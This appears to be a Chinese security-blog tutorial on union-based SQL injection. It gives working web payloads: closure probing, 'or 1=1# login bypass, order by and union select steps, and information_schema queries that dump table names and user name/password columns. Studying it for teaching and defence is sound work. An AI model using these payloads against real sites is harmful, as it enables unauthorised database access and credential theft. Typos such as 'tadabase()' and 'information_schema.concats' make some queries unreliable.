SQL注入2之参数类型注入 – 作者:iamYit

免责声明

该文章仅用于信息防御技术的交流和学习,请勿用于其他用途
在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献;

基于参数类型注入

基于联合查询的注入

1、判断注入点及闭合方式

1、判断闭合方式

闭合方式有很多种,主要有以下几种无闭合、’、”、’)、”)、))等情况

2、利用and 1=1 –+ 判断结果

举例 select * from user where id=1 and 1=1 –+结果和不加的一致

3、利用and 1=2 –+判断结果

举例 select * from user where id=1 and 1=2 –+结果和不加的完全相反

万能密码:

提出一个问题 select * from users where id=1 and 1=1;这条语句为什么能够选择出 id=1的内容,and 1=1 到底起作用了没有?这里就要清楚sql语句执行顺序了。同时这个问题在使用万能密码的时候会用到。select * from admin where username=’admin’ and password=’admin’可以用’or 1=1#作为密码输入。原因是什么?当使用上述所谓的万能密码后,构成的sql语句为:select * from admin where username=’admin’ and password=”or 1=1#

2、判断查询列数及回显位置

order by 数字数字不能大于数据表种查询字段数量如何判断出查询列数为4,则可以union select 1,2,3,4 –+观察哪个列的回显位置

3、union操作符

UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。SQL UNION语法SELECT column_name(s) FROM table_name1UNIONSELECT column_name(s) FROM table_name2

4、获取数据库信息

1)数据库版本和当前连接用户用version()函数,user()函数,例:?id=-1 union select 1,version(),3 –+

2)获取数据库名用tadabase()函数?id=-1 union select 1,database(),3 –+

3)获取表名1,5.0以上版本利用information_schema数据库union select x,x,group_concat(table_name)from information_schema.tables where table_schema=database();2,5.0以下版本只能用盲注

4)获取列名1,5.0以上版本利用information_schema数据库union select x,x,group_concat(column_name)from information_schema.concats where table_name=’表名’2,5.0以下版本只能用盲注

5)获取用户数据union select x,x,group_concat(name),group_concat(pass) from 表名

一般的利用该表可以进行一次完整的注入。以下为一般的流程

1、猜数据库select schema_name from information_schema.schemata

2、猜某库的数据表select table_name from information_schema.tables where table_schema=’xxxxx’

3、猜某表的所有列select column_name from information_schema.columns where table_name=’xxxxx’

4、获取某列的内容select xxx from xxxx

来源:freebuf.com 2021-05-26 23:01:47 by: iamYit

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论